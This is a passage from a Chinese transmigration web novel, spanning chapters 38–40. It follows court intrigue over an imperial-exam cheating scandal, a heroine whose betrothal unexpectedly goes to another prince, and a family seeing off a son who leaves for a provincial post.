“亏的我还以为你是个本分的,之前说什么要就封敢情是来蒙蔽朕呢?怎么?就这么想要这个位置。”皇帝重重地拍打着龙椅。
“皇家无亲情,朕以为朕的儿子们是例外,倒是没想到朕还是看走眼,你比畜生都不如,科举舞弊,诬陷太子,你还有什么干不出来的”
信王瞳孔一缩,他没想到父皇竟然会这样想他:“我没有,不是我。”
“证物证俱在,贺家三子都已经招了,说是你吩咐的。”皇帝看他的眼神冷,没有意思温度。
信王脸上没有一丝血色,眼神呆滞,他不知道怎么会这样,明明他什么都没有做过。
“父皇,儿臣求见”是太子来了。
皇帝收敛怒容,让他进来。
太子看到信王的惨状,快步走了过去,看着他的伤口满脸紧张道:“怎么样?”
“快,去请太医啊。”
朱公公收到太子眼神,却不敢立马有动作,请示地看向皇帝,见皇上颔首,他才吩咐人去请太医。
“父皇,三弟若做错了什么事,你教训就是,怎么下这么重的手。”太子语气带着指责,也只有敢这么跟皇上说话。
信王眼睛直勾勾地看着太子:“大哥,不是我。”他的辩驳苍白无力,他想没有人会信的。
太子:“大哥信你。”
信王死灰般沉寂的眼底忽然闪烁出光芒,他喉头发紧,一时语塞,他不知道该怎么告诉大哥,他是无辜的,他从来没有做过对不起大哥的事情
皇帝看着二人兄友弟恭,好像他这个做父亲的是坏人,顿时气笑:“朕还会冤枉他不成。”
太子:“父皇,说不定其中有什么误会,三弟不是那样的人,他也没这样的手段,不能只凭那人一句话就定了三弟的罪,这事还要彻查。”
信王眼泪一下子就流出来了,他没想到最信他的最了解他的会是大哥。
最后一句他就当夸奖了。
皇帝看着两兄弟抱成一团,信王满脸的委屈,好像天地间他就是最坏的人,一时有些默然。
也就这时,殿外通禀潞王来了。
好啊,又来一个求情的人。
皇帝冷脸盯着他看,潞王扫了一眼殿内的情况,若有所思。
本来路上他早就打好了腹稿,可到看到这情形他又改了主意,他干脆掀起袍子跪下信王和太子身边,一言不发,只是伏地行了个大礼。
皇帝眉头跳动,指着潞王道:“你也觉得他无辜。”
潞王道:“儿臣并没有觉得三弟无辜,既然证据查到和三弟有关,那他便有失察和管束不力之罪,儿臣是恳求父皇息怒,保重龙体。”
皇上脸色缓和了些,看着下面跪着的三个儿子,他也像世间所有父亲一样相信自己的孩子,可他是皇帝啊。
“你们都下去吧,老三没有旨意不得随意出府。”皇帝神色疲惫,一瞬间好像老了不少岁。
虽然还是圈禁,但皇上的话语有松口的趋向,太子心中一喜,再过些日子也许事情,两人搀扶起信王往外。
“太子留下。”看着走到殿门口的三人,皇帝忽然开口道。
潞王眼神一暗,很快便恢复自然,他撑住信王的大半身子,对太子道:“交给我吧。”
皇上不知道在想什么入了神,半天没有言语,太子恭敬地等着问话。
半响后,才听皇帝道:“你做了二十年的太子了吧,累吗?”
他并不用儿子回答,幽幽道:“这天下最难做的就是太子,当初我也做了二十多年的太子,我的兄弟比你多多了,每一日我都过的战战兢兢如履薄冰,那个时候我心里是怨恨的,怨恨你皇祖父偏心,助长了他们的狼子野心。”
他看向太子:“所以我有了儿子后,就不想让他受我受过的苦,不想让他每日都活在算计猜忌中,朕护着你,偏着你。”
太子扑通一声跪下,泣哭道:“父皇,儿臣……儿臣知道,是孩儿没用。”
皇帝手动了一下,想像之前一样把他扶起,但他硬着心肠忍住了,他是太子啊,以后江山社稷的主人。
自己不能把他养成一个过于仁善的太子,这个位置上一味的宽厚善良不是什么好事。
皇帝拍了拍他的肩膀:“从今往后你要先做好太子,再去做孝顺儿子,友爱的兄长。”
他知道自己的表现让父皇失望了,可三弟这事本就存在疑点。
皇帝又欣慰有失望,他叹气:“太子啊,你知道有多少人想把你拉下来吗?”
太子张张嘴,没有说话
皇帝低头,眼神从未有过的凌厉:“兄弟、皇室宗亲,还有那些虎视眈眈的人,太子,你要学着长大了。”
皇帝挺直腰背,声音带着无情:“太子,从今日起,朕不会再护着你了,你该给天下人看看你的本事了。”
自己不能护着他一辈子,这天下总会交到他手里,他又要足够的本事坐稳这个位置。
太子目光一凝,看着父皇威严的神态,片刻后他躬身道:“儿臣领旨。”
***
“怎么样?到底怎么回事?他人呢?”
窦绍刚回来,屁股都还没有坐下就被卫姜抓起来一连串追问。
“他很好,不用担心,大理寺问完话就会放他回来的。”
卫姜松了口气,这才有心思从头问一遍:“怎么会说他舞弊了?”
昨日有人去京兆们投罪,说自己靠着舞弊考中了功名,心中日夜难安,觉得愧对圣贤,所以去了京兆府自告。
据他的供述,他们曾经借着探讨的名义,把考题给过不少学子,这些学子中窦景的名字就在其中。
窦景是谁,窦绍的儿子,这下都不用查实,那些舞弊的谣言就四处兴起了。
人都有劣根性,一个名门公子和一个贫困书生,两人同样的成就,可别人就是愿意相信名门公子是仗着权势走后门,不愿意相信是他本身的实力。
窦绍凝眉,眼底闪过冷意,安慰卫姜:“他没做过担心什么。”
事情这么巧,窦绍不得不怀疑这是背后之人给他的警告,因为他拒绝了孟家的示好拉拢?
“科举案真的是信王做的?”卫姜又问起信王的事情,她还是不太相信。
窦绍:“有信王的玉佩为证,还有贺家四公子的证词。”看卫姜神情低落,他又改口道:“不过这也不能说就是他,他们没有亲自见过信王,贺四也只说是按他信中指示去做……”
卫姜懂了:“如果这封信是假的,那…可以去比对笔迹啊。”这里做不了高科技的笔迹鉴定,简单的对一下笔迹应该可以吧。
“这些大理寺还在查。”窦绍淡淡,好像兴趣不大
仅仅只是怀疑,皇上就把信王弄的这么惨,是真不心疼这儿子,卫姜啧舌。
窦绍没说的是,笔迹对过了,信王自己都分辨不出,更何况那信上还有他的印鉴,不然贺四为什么会上当呢。
他不想见到她皱着眉头为信王担忧,只是轻描淡写地说了几句,让她以为信王的事情还有转机。
“爹……”窦景冲了进来,见到卫姜也在,叫了声娘。
“爹,我想求您救个人。”
窦绍冷下脸:“你娘为你担心了一整日,你回来是不是该向她报个平安。”
卫姜先不干了:“你发什么脾气,轻重缓急不懂吗?他回来了我自然就知道他平安了。”
窦景恭敬:“让娘担心了,是儿子不孝。”
“你没事就好,其实是你爹连累你了。”真当她什么都不知道,卫姜斜了一眼窦绍。
好吧,窦绍苦着脸,委屈地看了一眼卫姜,怎么又把他说成耽搁他们母子相亲相爱的人了。
“你是说的那个孙文才吧。”窦绍转头问儿子
窦景道:“是,孙兄是认识康
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士齐,但他从来没有收过康士齐给的什么考题。”
康士齐就是去京兆府自告的新科士子。
窦景想康士齐是不是疯了,四处乱咬人。
要不是有孙文才和其他几个学子一力作证,他窦景就真的被他害死了。
窦绍道:“这事我知道了。”
此人既然帮过窦景,他自然会投桃报李,若他所料不差,科举案也该到此结束了,科举案扯进了两个皇子,再查下去第三个也保不住了,等查清事情和他无关,这些学子自然会发出来。
什么自告不就是为了把窦景扯进泥塘吗?既然如今窦景都无事了,那些人问题不大。
看窦绍的表情,卫姜就知道事情不复杂,她让窦景先下去歇息一下,一整日他都在大理寺怕是也不好受。
“你先回去吧,你媳妇怕是正等着呢。”
“这几日就别四处跑了,他们出不了什么事,有时间你就多看看书吧。”窦绍想了想,吩咐道。
等人走后,卫姜给窦绍倒了一杯茶,问道:“这案子就这么结了?”
窦绍让儿子看书,很显然要重考一次,有了舞弊事件,这次只怕不容易。
他是怕儿子考的不如上次又起流言吧。
窦绍点头。
“不是说还有疑点,不继续查下去岂不就成了悬案。”卫姜不解
信王受罚明面上可跟科举案扯不上关系,那这案子岂不是没有主凶。
“张阁老侄子不就是主凶,不是查到是他偷的考题?”
窦绍嘲讽道:“这世上悬案还少吗?就说最近的江南盐税、东宫投毒案就查清了吗?”
有些案子是不能查清的。
卫姜沉默不语,心情复杂
***
“小姐,信王府的人说不见。”柳芽靠近马车窗口,声音很轻。
马车帘子掀开,葛月那张清冷的脸露了出来,她眉头微皱,抬头看向不远处的王府大门。
“信递进去了吗?”
柳芽低头把信拿了出来:“他们不接,说是信王的吩咐,让您别来了。”
葛月脸色一变,目光绕过高墙,想要看到那人,可惜……被挡住了
她脸上挣扎片刻,咬牙拿过那封信,摔下帘子道:“回去。”
柳芽觑着葛月的神色,试探为信王说好话:“小姐别生气,信王殿下定是不想连累您。”
“你不懂,我不怕被连……。”她不喜欢的是他就此意志消沉,就这么龟缩在王府中认命了。
他怎么能如此没用!
吁,马车停了下来,柳芽掀开一点,看到是有人逼停了马车。
那人走近马车,恭敬地对葛月行礼:“苏小姐。”
听到声音,葛月脸色瞬间冷了下来,她不喜欢潞王,他总好像知道自己在想什么,就比如他身边的人从来不叫她二小姐。
“你去买些糕点来。”葛月吩咐柳芽。
柳芽知道这是不想让自己听,忙按照吩咐去了不远处的铺子
车夫也走远了,现场只有两人,葛月抬着下巴,冷冷地看着他。
那人一笑:“苏小姐想必没有见到信王殿下吧。”
葛月眼神如刀。
那人毫不在乎,继续道:“信王殿下如今闭门不出,谁都不见,也就太子能进的了府中。不过话说回来,苏小姐见到信王又能如何?没有皇上的旨意,他这辈子都出不来。”
葛月不耐烦:“这么多废话,到底要干什么?”
“我家主人说了,苏小姐何不重新考虑换个人选。还有……“那人笑眯眯地从怀中取出一份帖子。
“我们主人想请苏小姐去见一个人……”
他话说到一半,葛月打断道:“不见。”
那人把帖子往前递了些:“我主人说了,这人苏小姐要是不见怕是会后悔。”
葛月不悦看向他,他依旧一副笑眯眯的模样,半点没有把她放在眼里。
柳芽提着糕点往回走,那人依旧举着请帖,氛围僵持。
葛月脸色更冷了,一把扯过请帖扔进车里,“滚。”
“苏小姐,慢走。”
39. 第 39 章
“你说什么?再说一遍。”
卫姜觉得一定是自己幻听了,怎么是葛月和潞王,不应该是信王吗?
窦绍看了她一眼,丝毫不奇怪她如此反应:“婚旨都已经下了,婚期定在八月。”
卫姜脑袋嗡嗡的,现在已经是四月底,也就是不到三个月的事件,卫姜双手抱头,用力揉脑袋,端庄高贵的高发髻顿时被蹂躏地歪七扭八。
怎么会,明明一切都好好地,虽然有些小插曲,可主体脉络是往着剧情走的。
这好好地,忽然把她男女主给拆散了,那她还能苟回家吗?这还是她知道的那本书吗?
“你是不是故意跟我开玩笑?”她眼神带着祈求,紧盯着想要他点点头。
窦绍摇头:“看来是我们误会苏二小姐和信王的关系了,其实细看看潞王和苏二小姐小姐也挺配。”
不配,不配,配个屁,男主被关起来,女主嫁给了书中男N号,这书都崩了,那她还怎么等大结局穿回去。
这么久以来,她一直就靠这个撑着,心里一直存着最后的希冀,希望剧情大结局,她能回去。
现在男女主都拜拜了,那……她还能回家吗?
不,她不要永远留在这里,不要,她要回去见爸爸妈妈,回到她的世界。
窦绍见她一脸崩溃随时都在暴走的状态就已经暗中做足了准备,可还是被卫姜的冲劲撞倒。
“我去找他们。”她要去找男女主,她要让剧情回到原来的位置,他们一定是有误会。
窦绍紧紧箍住她的腰,把她的头按在胸前,让她不要那么激动。
门外的下人听到动静进门查看,看到两人倒在地上抱成一团,顿时呆住了,还以为是打搅了主子们的好事,红着脸退了出去。
“冷静点,你这么激动别人会疑心。”可惜这露马脚的话卫姜压根没听见
卫姜一门心思都在想着怎么让剧情回归原位,哪里听的到他会所什么,她眼睛不停地转溜,一看就是想了百八个主意。
窦绍心里一紧,知道自己歪打正着了,局面不能让她扳回来。
他伸出一只手抬起她的下巴,让她眼睛看向自己。
“你要找谁?”
对上窦绍故着狐疑地眼神,卫姜一个激灵,瞬间冷静了下来。
她想到了刚刚的表现,想找借口,可脑子一团乱麻,怎么也想不起来,嘴巴张了又张。
“你是在为信王抱不平吧。”窦绍很快为她找好了借口。
他不要她的反应继续说下去:“不用去了,皇上下旨前问过信王,信王也觉得这门婚事很好,他说苏二小姐是他的救命恩人,让潞王要好好待她。”
窦绍没有说谎,这确实是信王的原话,但让皇上去问信王是他的主意。
潞王说自己喜欢苏二小姐,恳求贵妃出面向皇后提亲,皇后是知道信王和葛月的事情,心里不是很情愿,可备不住贤妃知道了。
她一向不喜欢葛月,这次儿子出事她也怪罪到葛月身上,觉得她是个扫把星,克了儿子,听到潞王也看上了葛月,顿时怒火中烧,觉得葛月水性杨花,一边迷惑着她儿子,儿子出了事,转头就去勾搭潞王。
贤妃哭着去了太后那里说坏话,刚好贵妃也在,她对苏二小姐印象挺好,觉得儿子娶这么个身世的妻子也挺好。
便干脆直接当着太后的面又跟皇后提了婚事。
皇后没办法,婉转地跟皇上说了。
皇上也为难,手心手背都是儿子,信王虽然被他罚了,可他也清楚信王未必就真做了那事,他不能把信王喜欢的女子转身就指给别人,可听潞王的意思,他和苏二小姐两情相悦。
皇上愁的直叹气,刚好窦绍在,便问他该怎么办?
窦绍神情一顿,他知道这是个好机会,若真如他所猜测的那样,这是一幕戏,那若是主角换了,这戏就不是原来的剧目了吧。
若是他拆散了信王和苏二小姐,她会怎么办?他想知道她到底要干什么,她来这里是不是有什么目的,她是不是会离开。
念头闪过,窦绍做了决定。
他了解信王的性子,别说他如今应该还没有对苏二小姐情根深种,就算是,他也一定含笑祝福。
他重情重义,又怎么会拖累别人呢。
潞王可是君子一样的人物,苏二小姐嫁给他,任谁都不会觉得委屈,信王亦然。
窦绍的釜底抽薪用的极妙,可他没想到卫姜会这么大反应,他心里有些懊悔,是不是做错了。
“他怎么会说好呢?他不是应该喜欢葛月吗?”卫姜喃喃道。
“葛月呢?她就没有说什么吗?”这可是女主,她不愿意的事情总会想办法去解决的。
“潞王说他和苏二小姐两情相悦。”
“屁”卫姜脱口而出,可想到如今她和信王的感情好像确实没有书中那么好,之前她以为是时间太短,还没培养出来,可如今想想又有些不确定了,口气没有那么坚决道:“应该不会吧。”
卫姜气哼哼道:“这潞王不是什么好人,肯定是趁人之危。”
她甩开窦绍的手,站起身:“我去苏家看看。”她还是想亲自确定下。
若是葛月不愿意她说不定能帮上什么,毕竟宫里她还是能说上那么两句话的。
“等一下。”窦绍一把拽住她的手,语气有些着急。。
卫姜不解的看向他。
窦绍:“苏家如今正忙着,苏二小姐怕是没空见你。”
他脑海中飞快的想办法,直觉不能让她现在去苏家,潞王的两情相悦他也是不信的,他猜测苏月肯定是有什么把柄落到了他手里。
若是卫姜现在过去,只怕会卷入其中。
“你怎么这么在意信王和苏二小姐?”窦绍凑近她,反问道
果然,卫姜立马慌了神,也不再说要去了,装作很渴地给自己倒了杯茶,还献殷勤地给窦绍也倒一杯。
窦绍接却没有喝,好以整瑕地盯着她继续看,仿佛看穿了她的心思。
卫姜心虚,不敢和他对视,窦绍嘴角翘了一下,但很快又压了下去。
“怎么不回我的话?”
卫姜:“我哪里很在意,我就是……就是随便问问,再说了,我不过是觉得为他们惋惜,好怕他们错过而已。”
怕他继续追问,卫姜装作很忙的样子:“我去看看卫儿,我都想她了。”
话刚说完,就逃也似的跑了,窦绍走到门口,对着她的身影问了句:“不去苏家了?”
“等我有空。”卫姜心里却打算等他明日不在家的时候去。
窦绍倚着门窗,神色冷了下来,眼神带着深思,她不对劲,反应太大了。
隔壁响起女儿的牙牙学语声,间或还有卫姜的轻笑,窦绍眼神瞬间柔和了很多。
晚间,卫姜愁的翻来覆去折腾的累计了才睡过去,窦绍也被她闹腾的没睡着。
好不容易才合上眼皮,旁边又有了动静。
是卫姜做噩梦了,也不知道梦到了什么,她好像很着急,很害怕,竟然都急哭了,她的手四处摸索着,好像在找什么,又用力的去推。
窦绍刚凑上去就被她推了个正着。
窦绍怀疑她是不是装睡故意的,见她哭的厉害便想要把她叫醒。
手刚握上她的肩膀,就听她在喃喃什么,他凑近了些,模糊听到什么回家,回去。
窦绍看她的手,她是在找门,找路,找回去的路。
窦绍脑子嗡了一下,很容易就想到了她今日的表现,她这么大的反应,是跟这个回家有关系。
“你想回哪儿去?”
“回家,不是的,搞错了……”
他知道她只是做了个梦,她也不会回答出他想要的,可他就是忽然很想问。
窦绍轻轻为她拭去脸色的泪痕,把他往怀里带了带,“这里不就是你的家吗?”
“你有我,有儿子还有女儿,你要去哪里?”
他用力搂紧,直到卫姜发出不舒服的声音他才松了力气。
窦绍找到她的手,两人十指紧紧相缠,“你哪里都去不了,你是卫姜啊!”
他已经习惯了这个卫姜,不想再回到从前。
……
次日,卫姜根本没有时间去苏家找葛月,也不知道是不是真这么巧,家里大事小事的都在这日找上了。
本来还有个陶氏能搭把手,谁知大清早的,窦景带着妻儿去了岳家。
谁家大清早的回娘家啊,赶早饭啊!
马上就是端阳节了,一连几日府里大事小情的他们都拿来请示,卫姜终于忍不住了。
“以前你们也是这样办差的?”
她明明记得去年这个时候,她压根一点都不忙啊。
几位总管和管事妈妈低头不敢说话,他们也觉得麻烦啊,可这是大人的吩咐,他们能怎么办?
卫姜还看不出猫腻就太蠢了,她顿时就冒火三丈,她就说怎么这么巧!
一定是窦绍!
“明日我不想看到你们再来问东问西,你们要是做不来那就换一个能干的来。”几人看县主脸色很难看,眼里都在冒火,吓的心肝颤颤。
窦绍回来时,卫姜怒气还没有消,他已经提前知道了消息,已经做好了对策。
进门第一件事,就是道歉,话说这流程他好像越来越熟悉了。
“我也是怕你太过担心,给你找点事做。”
卫姜心跳了一下,以为他发现了什么,“我……我担心什么。”
“这两日就要发榜了,我这不是怕你担心吗?”
原来是这个,卫姜大吁一口气,吓死个人。
不过,他不说她都要忘了,窦景第二次考试成绩也该出来了。
舞弊案随着刘阁老的被迫致仕算是结案了,考题泄漏,朝廷作废了上一科成绩,举子们还得再考一次。
这次由太子请缨亲自主持,之前大家都说太子借科举安插人员皇帝允许了。
算算时间
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,放榜应该就这两日了,都怪窦景这次太低调了,从来不提,她都快忘到脑后了。
“你说他考得怎么样?”
这次他表现太反常了,卫姜都有些怀疑是不是太差了。
如窦绍所愿,卫姜的注意力全都被窦景春闱的情况给引走了。
一大早,卫姜就派了人去看榜,陶氏慌的都坐不住,,窦景还跟没事人一样逗着孩子。
“你到底有没有把握?”
这要是没考上,别人可不知道要说什么了,舞弊的谣言怕是一辈子都洗不清了。
窦景抬头看了一眼母亲,“不是您说让我低调点,不要太张扬,我好不容易稳重一次您又不愿意了。”
“去去去。”
看妻子搅着手帕,欲言又止,窦景又有些心疼,干脆道:“我选中了宜春县,父亲也同意。”
陶氏不知道丈夫怎么忽然说这个,还是卫姜反应过来。
敢情都挑好地方了,这是哪门子的谦逊低调。
卫姜狠狠地给了他一拳,天天摆出一副看破世事的臭脸,还以为他是考的不怎么样呢?
去看榜的下人也回来了。
二甲第七。
陶氏激动的捂住帕子哭了,卫姜也很高兴,这下那些质疑他的人该闭嘴了吧。
窦景一副云淡风轻的模样,眼神好像再说他还有发挥空间,可惜高高翘起的嘴角却掩饰不住他的得意。
这届进士也算是百年来独一份了,参加了两次跨马游街,当然落榜的也惨,短短两月就经历了两次落第,被击落的自信怕是要一段时间才能恢复了。
和窦景同陷舞弊风波的孙文才,这次科考他也中了,他比窦景考得还好,竟然中了二甲传胪。
“孙兄,差一点你就是探花郎了。”
孙文才腼腆地笑,在长辈面前有些不好意思,这传胪都是侥幸了,他做梦都没想到竟然能是二甲头名。
“侥幸侥幸,探花实不敢想。”
孙文才知道窦景马上就要去宜春赴任,他想拜托窦景帮他带些东西回去。
宜春县属江西,和孙文才的老家吉安离得不远。
见过长辈,窦景带着孙文才去了自己的院子,两人这一别怕是好些年不得见了。
孙文才留京进翰林院读书。
“那位孙公子看着年岁不大,也不知成家了没有。”宋氏颇有些不舍地看着孙文才远去。
宋氏是来给外甥送东西的,刚好就撞上了孙文才上门。
卫姜对八卦是很敏锐的,一下子就知道了宋氏的言下之意。
“这我不知道,要不我让景儿打听下。”
宋氏见小姑子明白了她的意思,笑着道:“儿女大了,操不完的心,还是你好……”
想到小姑子刚添了女儿,她话锋一转:“小的要操心还要十几年呢。”
卫姜心塞了一下,她现在操心的是别人的儿女,前几日她找了借口去了一趟苏家。
可惜葛月不在,她和潞王出门了。
卫姜甚至有些相信窦绍的话了,是不是葛月真的喜欢上潞王了,不然怎么今日游湖,明日赏花的。
完全小情侣在约会嘛。
卫姜觉得,自己劝男女主和好的主意很可能要夭折了,这么想她低下头,神情低落,整个人都颓了。
***
“你和新宜县主很熟?”
潞王声音从她的身后传来,葛月瞬间合上手中请帖。
“谈完了?”葛月淡淡问道。
潞王温和地笑着,丝毫不在意她的举动:“聊的差不多了,你真不去见见他?那毕竟是你祖父。”
葛月脸色一寒,“我的祖父先定国公早就死了。”
潞王什么都不说,就这么笑着看她,但葛月他的眼中带着讽意,这让她的脸好像烧了起来。
在葛月快败走的时候,潞王却从她手中抽出请帖,仔细看了一遍。
“请你去窦府?这倒是奇怪,京城的那些贵女怕是没几个能收到她的单独邀请吧,看来她对你倒是另眼相看。”
葛月讥讽道:“怎么?你在窦大人那边铩羽而归,准备让我去县主这边替你拉拉关系?”
潞王把帖子还给了她,“之前也是我想岔了,窦绍可是父皇安排给太子的人,他又如何会轻易地为我所用。”
不能为他所用的,自然就用不着拉拢了,该铲除才对。
也是他急躁,小小地出了口气,倒是惊动了窦绍那个老狐狸,他竟然把儿子打发出京了。
多好的软肋啊,太可惜了。
不过也没关系,窦绍还有命门在啊。
他脸上的笑容让人发冷,她快步向前去,很快就把潞王落在后面。
“殿下,你何必这么纵着她。”纵的她不知道天高地厚,真当自己是公侯贵女了。
潞王下属脸上闪过鄙夷,潞王用扇子在他头上瞧了一下,算是警告。
为什么纵着她,自然是因为她有价值啊。
40. 第 40 章
六月初一,窦景带着妻儿启程赴任,亲近的家人都来了码头送行。
窦绍在一旁低声嘱咐儿子一些事情,而陶氏泪眼汪汪,面有愧色地站在卫姜身边。
她听从了公婆的安排,随丈夫外任,虽说是长辈安排,但又何尝不是她的私心呢?
“你们出门在外要自己照顾自己了,景哥儿脾气太傲,虽说之前跟着他父亲出去过,可这次不一样,万事要自己拿主意,平日里你也多劝劝他,别让他稳重一点。”不要太过得意轻狂。
卫姜絮絮叨叨,颇有些做母亲的样子了。
“娘我知道了,您还有什么要嘱咐的。”陶氏问道。
“没了。”卫姜摇头,后又补充道:“多写信回来。”
陶夫人明显也有话要叮嘱女儿,卫姜便知趣地走开了,把空间留个母女二人。
不远处窦景一脸严肃地听着父亲的话,时不时点头,卫姜知道他们在说正事,也抱着宝哥儿玩。
“哭什么,这是好事,难得你那个婆婆通情达理一次,外任虽然是苦了点,但你们一家子在一处,倒也清静自在。”
陶夫人掏出帕子为女儿擦泪,瞟了一眼不远处的卫姜,兴许是丈夫回来了,她有了顾忌,行事倒是没以前那么疯了。。
陶氏嗔怪地叫了声娘,“婆婆是真的性子变了。”
虽然有时候依旧古怪,可至少讲道理体恤人,家里也难道不再鸡飞狗跳了,倒是意外的温馨和睦。
女儿好了伤疤忘了疼,陶氏可还记得那人是如何刻薄搓磨自己女儿的。
女儿是她的心头肉,她如何不记恨,如今不过是顾忌着女儿还在窦家,看在女婿和外孙的面子上不好和她计较罢了。
“她变不变的我也不在乎,就求你日子能过的舒心些,这次她让你们把宝哥儿带走,我也放下了悬着的心。”
她就怕那疯妇会扣住宝哥儿,把他养的和女儿离了心,那才是戳人心肝的。
“难的她消停了不闹你们小两口,你也要把姑爷身边都看紧了,趁着年轻,你们在外也松快,再给宝哥儿多添几个弟弟妹妹。”
她看向一旁抱着宝哥儿亲亲的卫姜,看着慈爱的很,那疯妇倒是挺稀罕孩子的,也许看在孙儿的面上,以后待女儿好一点。
“娘,夫君待我挺好的。”陶氏红着脸。
陶夫人叹了口气,女儿这性子只盼着姑爷是个有良心的。
她从袖子里掏出个荷包,“这是娘这些年的梯己,你们出门在外不容易多备些银钱总是好的。”
“娘,怎么能要你的,我们自己够用的。”她知道母亲存这些不容易,陶家说好听点是清贵人家,其实就是日子过的穷。
陶氏是坚决不能拿母亲的钱的,“婆婆私下给了我五千私房银子,家用银子也另外给了,娘您放心吧,尽够的。”
“给你的私房?”五千两可不是小数,陶氏不敢置信。
“我都说了,婆婆真的变了很多,对我也很好的。”
到底怎么个好法陶氏是不信的,不过能给这么多钱,算她还有点人性,只怕着她别又犯病变了回去。
“那你也拿着。”陶氏塞给了女儿,总不能自己还比不上那疯妇吧
时辰差不多了,船家催促着登船。
陶夫人带着女儿去往卫姜那里
“县主。”
卫姜看向陶夫人:“叮嘱的话可都交待好了。”
陶夫人已经换了一副面孔,笑着道:“您安排的,我还有什么不放心的。”
陶氏低头,不敢看母亲的两副面孔,刚刚还咬牙切齿地骂婆母呢,转过头又笑盈盈地奉承上了
下人已经把行李搬上去了,窦景也带着妻儿上船。
他看着亲人,眼睛有些发酸,陶氏已经忍不住哭倒在丈夫怀里。
卫姜依依不舍地亲了几口宝哥儿,被窦绍拖拉着下了船。
难怪古人说离别总是愁肠满绪,又不能电话也不能视频,全靠书信,这一去可就是三年,到时候宝哥儿都要不认识自己了。
他如今白白胖胖,连走路都不太稳当,看见她会笑着扑进她怀里,搂着她的脖子撒娇叫祖母。
等他回来怕是都不认识自己了,眼神里不再是依赖,变成了疏离,她想想心疼的厉害。
卫姜泪眼婆娑地看着窦绍,“我舍不得宝哥儿。”,她从那么小一点看着长大的。
“那把他留下来。”
卫姜眼泪一下子止住了,她知道他能干得出。
“还是算了。”她都舍不得,要是真留下陶氏不得掏心掏肝的疼,孩子还是待在父母身边长大才是幸福。
窦绍随口安慰:“你要是真想他们了,等我有时间的时候带你去宜春看看。”
这话让卫姜眼睛一亮,是哦,她傻了吗?倒也不一定要等他有时间,她可以自己去啊
船已经开动,窦景跑到船头,大力挥手,“娘,你多保重,儿子会想你的。”
卫姜心头一热,往前跑了几步,也大力挥手:“你好好的,我到时候来看你。”
卫姜久久伫立,船早就开出很远,连影子都变成了黑点。
宋氏叹口气道:“做父母的都盼着孩子有出息,可孩子有出息了却一个个长着翅膀飞走了。”
卫姜转头,知道宋氏是想到了自己,“贺哥儿的差事定了?”
他和苏青也成亲一段日子了,卫贺读书一般,卫姜大哥看他这么混着也不是办法,就想给他在军中找个事做。
好歹他也有个秀才功名,比一般大老粗强吧。
“还没呢。”宋氏摇头,“苏家那边也有些想法,今日你大哥本也要来送送外甥的,这不,苏国公来了,应该是说贺哥儿的差事。”
苏家对苏青这个养女很是重视,不光陪嫁丰厚,对卫贺的前途也是紧张的很。
“这也是贺哥儿的运道。”卫姜笑道。
当初两家定亲时,多少人背地里说嘴,说卫家疯了,说的好听是苏家养女,可到底身分不明,弄不好真就是个下贱的奴仆之女。
苏家只是想把她打发出门而已,白赚个名声,以后肯定是不会管她的。
如今打了多少人的脸,苏青嫁到了卫家,苏家三天两头地派人来送东西,就怕女儿受委屈。
卫贺大哥大嫂经常打趣卫贺吃软饭,他倒是无所谓,还引以为傲。
“苏国公的意思,让贺哥儿去辽东。”宋氏道
“辽东?”窦绍走近刚好听到这一句,很是疑惑:“苏家人都在甘肃,怎么让贺哥儿去辽东。”
不过辽东虽是苦寒之地,但却是兵力最多的一个军镇,辽东和鞑子还有朝鲜人接壤,边疆时有战事发生,立功机会多。
是啊,所以丈夫和儿子都心动了,宋氏脸上带着苦涩,立功多那也就意味着危险更多,她原本是想着在五军营或是神机营给儿子安排个差事。
“对了,小妹他们一家要回京了,都快十来年没见了,也不知道妍姐儿长成什么模样了。”
宋氏忽然想起这事,觉得也要给卫姜说一声。
襄阳郡主生有一儿两女,卫莞是最小的,妍姐儿是卫莞独女。
……
回到府中,家里静悄悄的,走了三个人,屋里好想被搬空了一般,窦绍去了衙门,她一个回家。
“怎么觉得好空啊,好安静啊。”卫姜站在院子门口,望着西苑的方向。
平日里这个时候,陶氏带着宝哥儿在廊下玩了。
咿咿呀呀的闹腾传来,天气有些热,乳娘怕热到小卫儿,只抱她在门口站,小卫儿撅嘴不乐意,气的脸都红了。
“怎么了这是?”卫姜接过手。
乳娘:“小姐怕是在找小公子呢?”
平日里她一睁开眼就看到宝哥儿,今天一整日没见了。
“你也想宝哥儿了?”卫姜逗她,“他和他爹娘出远门了。”
小卫儿可不懂什么出远门,只知道有母亲陪她玩也可以。
“县主,苏二小姐来了。”
怎么选了今日上门?卫姜讶异。
“我想着窦小大人今日启程上任,县主应该会想找个人说说话。”葛月笑着解释。
果然是女主啊,体贴入微。
“我给县主带了一些新茶,不是什么名茶,吃着不错,望县主不要嫌弃。”
卫姜让长佩接过,“让二小姐破费了。”
“还没恭喜二小姐觅得良缘,潞王温文尔雅,人品高洁,是个难得佳配。“
卫姜仔细留意着葛月的表情,见她带着恰如
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其分的羞怯,害羞地低头,如同大多数女孩被别人当面提起心上人那般不自在与羞赧,当然还带着几分甜蜜。
脸上没有半分勉强与不得已,卫姜的心彻底沉了下去。
也许是真的哪里错了,女主喜欢上别的人,她总不能为了剧情去拆散鸳鸯吧,何况她还没有那个本事。
她内心长叹了一口气,忽然失去了生活的目标。
“多谢县主。”
葛月也在暗中留意着卫姜,潞王和她提起过以前的县主,如今看来简直判若两人。
葛月看出卫姜神情一下子更低落了,以为她是因为儿子离家心情不好,随便聊了两句就找了借口告辞了。
回到苏府的时严氏正在待客,客人是一位年过四旬的妇人,和京中的贵妇人不一样,眉眼带着英气与豪爽,眼神透着和善。
“这位就是刚认回来的二小姐吧。”
严氏牵过葛月的手:“正是,快见过毛夫人。”
葛月强忍住才没有抽回手,眼中闪过一丝嫌恶,抬头时眼中又是笑意盈盈。
“月儿见过夫人。”
毛夫人笑着扶起她,“你受苦了,回来就好。”她转头对严氏道:“是个好孩子,这样多好,两个女儿,旁人羡慕不来的福气。”
严氏讪笑,说着谦逊的话:“她啊,也就看着好,和青儿比还差的远呢。”
哪怕葛月稳得住,那笑容也滞了下。
毛夫人看出孩子尴尬了,忙打圆场:“都是好孩子,做父母的总是觉得自己孩子这不好那不好。”
她从下人那里接过给葛月的见面礼,“初次见面,我也不知道你喜欢什么,就备了些女孩子喜欢的,也不知道合不合你心意,等你成婚的时候我再来添妆。”
严氏并没有出言婉拒,葛月客气接过。
毛夫人好像还有事情要忙,连饭都没有用就告辞了。
葛月看着严氏带着殷勤与陪好的面孔,心里有些腻歪。
她翻开锦盒,珠玉琳琅,大手笔。
